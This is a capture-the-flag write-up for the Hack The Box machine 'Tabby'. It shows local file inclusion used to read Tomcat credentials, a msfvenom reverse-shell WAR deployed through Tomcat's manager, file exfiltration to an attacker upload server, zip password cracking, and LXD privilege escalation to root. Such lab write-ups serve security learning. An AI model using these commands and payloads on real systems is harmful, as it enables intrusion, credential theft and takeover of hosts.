Hack The Box write up for Tabby
Tabby is a box on Hackthebox.eu. It was a ton of fun and I learned a lot about Tomcat and LXD. This box was hard for me because I'm a novice. I ended up needing help from the HackTheBox discord forums. The folks there are very friendly and helpful.
This box was soooo cool.
Getting user
Nmap
I started this box like all boxes with an NMAP scan.
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-24 13:05 CDT
Nmap scan report for tabby.htb (10.10.10.194)
Host is up (0.054s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.50 seconds
Not much here except ssh and http. Looks like Apache and Tomcat.
I browsed the website and saw this:
I browsed the tomcat server on 8080 and saw this:
Looks like the default tomcat page.
Let's run a dirsearch on both sites and see what we see:
python3 dirsearch.py -u http://tabby.htb -e *
Oh interesting. There is a file dir. Can't seem to get to it though. I also checked source on both sites and didn't see any clues. Then I clicked on the News page and saw this URL:
Looks like a candidate for some LFI. I tried reading the /etc/passwd file:
http://tabby.htb/news.php?file=../../../../etc/group
Yep. This is going to be helpful. Let's see if we can view any of those tomcat config files. This link helped me figure out the right path.
tabby.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
We can! Oh and look at that login:
So now we have a login that works for admin-gui and manager-script roles:
user: tomcat
password: $3cureP4s5w0rd123!
We can use the manager-script role to deploy a war file on the server which will give us a reverse shell.
Deploy commands for the tomcat manager-script interface look like this:
http://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo
We need to build a war file first. Let's use msfvenom to do that.
msfvenom -p java/shell_reverse_tcp lhost=10.10.14.26 lport=4321 -f war -o pwn.war
Make sure to change the lhost to be the IP of your machine. Now we need to setup a netcat to capture the reverse shell:
nc -lnvp 4321
One last thing we need to do. We need to run a simple http server to host our war file. We can do that with python:
python -m SimpleHTTPServer 80
No we can deploy the war file by going to this URL:
http://tabby.htb:8080/manager/text/deploy?war=http://10.10.14.26/pwn.war&name=pwn
Now visit the URL:
http://tabby.htb:8080/pwn
You should get a ping on netcat with a reverse shell. This shell won't be interactive so we should try to upgrade it.
python3 -c 'import pty; pty.spawn("/bin/bash")'
This is better, but we can still do better. Let's take a look in that files directory on the webserver that we saw earlier.
Looks like there is a 16162020_backup.zip file in there. Its in:
/var/www/html/files/16162020_backup.zip
That could have some interesting things in it. Unfortunately it is password protected. Let's move it over to our machine and crack it.
I moved it over to my machine using curl and a simple python script. Here is the python script I ran locally:
#!/usr/env python3
import http.server
import socketserver
import io
import cgi
# Change this to serve on a different port
PORT = 8000
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
r, info = self.deal_post_data()
print(r, info, "by: ", self.client_address)
f = io.BytesIO()
if r:
f.write(b"Success\n")
else:
f.write(b"Failed\n")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
if ctype == 'multipart/form-data':
form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
print (type(form))
try:
if isinstance(form["file"], list):
for record in form["file"]:
open("./%s"%record.filename, "wb").write(record.file.read())
else:
open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
return (True, "Files uploaded")
Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()
curl -F 'file=@16162020_backup.zip' http://tabby.htb:8000
Then I cracked the password using:
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' 16162020_backup.zip
The password is:
admin@it
Turns out this is also the password for ash's account. We can su to ash on our netcat reverse shell:
su ash
Looks like we have write privs in /home/ash/. Let's generate an ssh key.
ssh-keygen
cp id_rsa.pub authorized_keys
Now copy the id_rsa key from the .ssh folder on to your local machine. chmod it:
chmod 600 id_rsa
Now try to ssh into the box:
ssh -i id_rsa ash@tabby.htb
You should have a full shell. Grab the user.txt file from /home/ash folder.
Getting root
Next I put linpeas.sh on the box by doing a wget from my SimpleHTTPServer:
wget http://10.10.14.24/linpeas.sh
Running Linpeas didn't show too much.
Groups is interesting. Looks like ash has lxd group permissions. We can use this to get access to root. This part was pretty complicated. Took me a few hours to figure it out. This article was helpful.
First we need to get a copy of apline-builder. I was able to do that with this on my local box:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
Now we need to bring the built file over to our target box. Use the SimpleHTTPServer you still have running.
wget http://10.10.14.26:8000/lxd-alpine-builder-master.zip
Now we are ready to deploy it:
lxc init
lxc init ubuntu:16.04 test -c security.privileged=true
Now we can get it setup.
lxc init myimage ingnite -c security.privledged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root rescursive=true
lxc start ignite
lxc exec ignite /bin/sh
This should drop you into a shell. What is cool about this exploit is that we now have root access to the full file system which is now mounted to /mnt/root/. Now you can just go grab the root flag.
cd /mnt/root/root
cat root.txt
This was my root flag:
93b84228c1ba86a98dc62c1b5346d8d4